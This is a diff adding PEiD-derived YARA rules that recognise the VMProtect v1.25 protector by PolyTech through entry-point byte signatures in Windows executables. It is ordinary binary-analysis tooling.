+rule PEiD_03272_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 EE FC 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03273_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 8D 76 04 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03274_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03275_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03276_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 36 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03277_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03278_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 36 8B 00 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03279_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03280_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 4D 04 83 ED 02 D3 E0 89 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03281_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 4D 04 83 ED 02 D3 E8 89 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03282_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 4D 04 83 ED 02 D3 E8 89 45 04 9C 8F 45 00 E9 01 7D 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03283_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 36 88 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03284_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03285_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03286_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03287_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03288_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 8A 4D 08 83 C5 02 0F A5 D0 89 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03289_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 8A 4D 08 83 C5 02 0F AD D0 89 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03290_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 F7 D0 F7 D2 21 D0 89 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03291_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 00 83 C5 02 36 8A 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03292_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 00 83 C5 02 8A 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03293_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03294_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03295_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 47 50 39 C5 0F 87 ?? ?? ?? ?? 8D 4F 40 29 E1 8D 45 80 29 C8 89 C4 9C 56 89 FE 8D BD 40 FF FF FF 57 FC F3 A4 5F 5E 9D E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03296_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 51 53 57 56 52 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03297_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 52 53 52 56 57 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03298_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 56 57 51 52 53 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 55 00 83 C5 02 8A 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03299_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 56 57 53 55 51 52 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03300_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 57 53 51 52 55 54 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 58 5E 59 5D 5A 59 5B 5F 58 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03301_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 52 56 50 53 56 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 8D 76 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03302_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 53 50 52 56 55 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03303_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 55 57 53 56 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03304_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 56 53 52 50 55 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 55 00 83 C5 02 36 8A 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03305_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 56 55 52 50 55 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03306_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 51 56 57 50 50 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03307_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 53 51 55 57 56 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03308_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 55 51 53 53 57 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03309_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 56 51 57 53 50 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03310_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 56 53 55 53 51 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03311_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 50 52 51 55 56 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03312_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 50 55 56 51 57 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03313_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 51 52 55 52 50 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03314_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 55 56 56 57 51 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03315_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 56 56 50 55 51 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03316_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 57 50 55 56 57 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03317_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 55 50 52 56 51 50 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5F 5B 5A 59 5E 5A 58 5D 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03318_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 55 52 56 53 57 51 54 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03319_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 55 56 53 57 52 51 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8A 06 46 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03320_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 55 57 53 52 55 51 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03321_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 50 52 51 57 53 55 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 83 C6 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03322_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 51 52 55 51 50 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03323_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 51 53 55 51 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03324_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 52 53 56 50 57 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03325_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 53 51 55 52 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03326_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 53 55 51 57 52 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03327_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 53 57 52 51 50 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03328_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 57 51 50 55 51 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03329_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 57 55 52 50 53 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03330_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 51 53 55 56 50 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 8D 76 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03331_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 52 53 51 55 50 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 80 E0 3C 8B 14 07 83 ED 04 89 55 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03332_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 52 55 56 51 50 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03333_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 55 52 54 50 51 53 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03334_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03335_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F7 55 00 66 8B 45 00 83 ED 02 66 21 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03336_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "false"
+    strings:
+        $a = {8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9 A5 06 00 00 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9}
+    condition:
+        $a
+}
+
